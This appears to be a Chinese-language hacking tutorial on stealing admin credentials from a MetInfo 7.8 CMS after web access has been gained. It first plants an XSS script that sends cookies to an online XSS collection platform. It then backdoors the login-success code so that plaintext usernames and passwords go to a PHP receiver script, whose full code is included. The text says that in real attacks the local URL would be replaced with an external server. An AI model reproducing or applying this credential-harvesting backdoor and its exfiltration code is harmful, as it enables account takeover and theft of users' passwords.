一,目的:
1.已经取得web权限,查看数据库后发现md5密码太复杂无法破解,想要窃取网站后台的cookie或者一个账户和明文密码
2.思路1: 准备一个xss平台,把script脚本放在admin登录后可以看的资源文件里,把cookie发送到平台,
然后我们带上接收的cookie,去请求admin 可以访问的资源。
3.思路2:修改代码,在用户登录成功时的那段代码里添加发送明文密码的语句,准备一个接收后台
二,在线xss平台注册与使用
1.在线xss平台链接
2. xss平台的使用
2.1 首先注册,登录,进入首页面,
2.2 点击创建,输入项目名称,项目描述,点击下一步
2.3 选择超强模块和基础默认模块
点击配置
2.4 点击查看源代码
2.5 复制访问地址: xss.yt/pkQh,只要访问了这个地址就能下载一个js文件,如果存在xss漏洞,
那么只需要让这个文件执行就可以获取到对方当前登录的信息和页面的信息。
三,准备phpstudy环境和 metinfo cms源码
1.metinfo7.8源码下载地址
2.下载完把解压后的文件夹放入WWW文件夹下
打开浏览器输入 http://localhost/metinfo/index.php 进入用户界面
输入http://localhost/metinfo/admin/index.php 进入 admin 后台登录页面
代码分析,当用户访问登录页面时,会请求 http://localhost/metinfo/admin/?n=login&c=login&a=dologin
分别表示name,class,action
根据中的require_once ‘…/app/system/entrance.php’;翻到 ./app/system/我们可以看到很多模块的文件夹,
例如login模块
找到登录时判断用户名密码的判断方法
找到用户登录成功时可以访问代码文件,添加一段javascrpt 语句
使用admin/admin 进行后台登录点击传统后台tab标签页,刷新xss平台
看到cookie信息
打开burpsuit 和火狐浏览器访问
http://localhost/metinfo/admin/#/home
点击forward,
替换掉Cookie,把原来的值换成我们截获的
关掉burpsuit 拦截,操作页面后发现让我们重新登录,并没有达到可以操作的效果,
因为服务端是通过sessions进行验证的,所以只是截获cookie并没什么卵用。
四,用户名和明文密码劫持
1.在phpstudy WWW目录下新建一个名字为 1的文件夹,其中里面有两个文件,
get.php是接收用户名密码的,文件内容
<?php
$u=$_GET['user'];
$p=$_GET['pass'];
$myfile = fopen("newfile.txt", "a+");
fwrite($myfile, $u);
fwrite($myfile, '|');
fwrite($myfile, $p);
fwrite($myfile, '\n');
fclose($myfile);
?>
newfile.txt 是一个空文件,用来保存接收到的用户名密码。
找到 登录成功时的代码:添加两行发送用户名和密码的代码:
这里只是做一个演示,如果是实战则搭建外网服务器把url换掉可外网访问
$url='http://localhost/1/get.php?user='.$username."&pass=".$password;
fopen($url, 'r');
当用户登录成功时就会把密码报错到newfile.txt文件中。